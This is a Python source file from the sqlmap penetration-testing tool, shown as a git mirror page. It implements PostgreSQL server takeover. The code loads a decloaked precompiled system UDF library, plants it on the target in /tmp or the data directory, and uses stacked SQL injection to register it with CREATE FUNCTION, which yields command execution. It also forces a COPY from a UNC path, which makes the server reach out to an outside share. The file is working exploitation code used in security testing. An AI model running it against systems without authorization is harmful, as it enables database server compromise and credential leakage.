mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2024-11-23 18:13:46 +03:00
99 lines
3.8 KiB
Python
99 lines
3.8 KiB
Python
#!/usr/bin/env python
|
|
|
|
"""
|
|
Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/)
|
|
See the file 'doc/COPYING' for copying permission
|
|
"""
|
|
|
|
import os
|
|
|
|
from lib.core.common import Backend
|
|
from lib.core.common import checkFile
|
|
from lib.core.common import decloakToTemp
|
|
from lib.core.common import randomStr
|
|
from lib.core.data import kb
|
|
from lib.core.data import logger
|
|
from lib.core.data import paths
|
|
from lib.core.enums import OS
|
|
from lib.core.exception import SqlmapSystemException
|
|
from lib.core.exception import SqlmapUnsupportedFeatureException
|
|
from lib.request import inject
|
|
from plugins.generic.takeover import Takeover as GenericTakeover
|
|
|
|
class Takeover(GenericTakeover):
|
|
def __init__(self):
|
|
GenericTakeover.__init__(self)
|
|
|
|
def udfSetRemotePath(self):
|
|
# On Windows
|
|
if Backend.isOs(OS.WINDOWS):
|
|
# The DLL can be in any folder where postgres user has
|
|
# read/write/execute access is valid
|
|
# NOTE: by not specifing any path, it will save into the
|
|
# data directory, on PostgreSQL 8.3 it is
|
|
# C:\Program Files\PostgreSQL\8.3\data.
|
|
self.udfRemoteFile = "%s.%s" % (self.udfSharedLibName, self.udfSharedLibExt)
|
|
|
|
# On Linux
|
|
else:
|
|
# The SO can be in any folder where postgres user has
|
|
# read/write/execute access is valid
|
|
self.udfRemoteFile = "/tmp/%s.%s" % (self.udfSharedLibName, self.udfSharedLibExt)
|
|
|
|
def udfSetLocalPaths(self):
|
|
self.udfLocalFile = paths.SQLMAP_UDF_PATH
|
|
self.udfSharedLibName = "libs%s" % randomStr(lowercase=True)
|
|
|
|
self.getVersionFromBanner()
|
|
|
|
banVer = kb.bannerFp["dbmsVersion"]
|
|
|
|
if banVer >= "9.1":
|
|
majorVer = "9.1"
|
|
elif banVer >= "9.0":
|
|
majorVer = "9.0"
|
|
elif banVer >= "8.4":
|
|
majorVer = "8.4"
|
|
elif banVer >= "8.3":
|
|
majorVer = "8.3"
|
|
elif banVer >= "8.2":
|
|
majorVer = "8.2"
|
|
else:
|
|
errMsg = "unsupported feature on versions of PostgreSQL before 8.2"
|
|
raise SqlmapUnsupportedFeatureException(errMsg)
|
|
|
|
try:
|
|
if Backend.isOs(OS.WINDOWS):
|
|
_ = os.path.join(self.udfLocalFile, "postgresql", "windows", "%d" % Backend.getArch(), majorVer, "lib_postgresqludf_sys.dll_")
|
|
checkFile(_)
|
|
self.udfLocalFile = decloakToTemp(_)
|
|
self.udfSharedLibExt = "dll"
|
|
else:
|
|
_ = os.path.join(self.udfLocalFile, "postgresql", "linux", "%d" % Backend.getArch(), majorVer, "lib_postgresqludf_sys.so_")
|
|
checkFile(_)
|
|
self.udfLocalFile = decloakToTemp(_)
|
|
self.udfSharedLibExt = "so"
|
|
except SqlmapSystemException:
|
|
errMsg = "unsupported feature on PostgreSQL %s (%s-bit)" % (majorVer, Backend.getArch())
|
|
raise SqlmapUnsupportedFeatureException(errMsg)
|
|
|
|
def udfCreateFromSharedLib(self, udf, inpRet):
|
|
if udf in self.udfToCreate:
|
|
logger.info("creating UDF '%s' from the binary UDF file" % udf)
|
|
|
|
inp = ", ".join(i for i in inpRet["input"])
|
|
ret = inpRet["return"]
|
|
|
|
# Reference: http://www.postgresql.org/docs/8.3/interactive/sql-createfunction.html
|
|
inject.goStacked("DROP FUNCTION %s(%s)" % (udf, inp))
|
|
inject.goStacked("CREATE OR REPLACE FUNCTION %s(%s) RETURNS %s AS '%s', '%s' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE" % (udf, inp, ret, self.udfRemoteFile, udf))
|
|
|
|
self.createdUdf.add(udf)
|
|
else:
|
|
logger.debug("keeping existing UDF '%s' as requested" % udf)
|
|
|
|
def uncPathRequest(self):
|
|
self.createSupportTbl(self.fileTblName, self.tblField, "text")
|
|
inject.goStacked("COPY %s(%s) FROM '%s'" % (self.fileTblName, self.tblField, self.uncPath), silent=True)
|
|
self.cleanup(onlyFileTbl=True)
|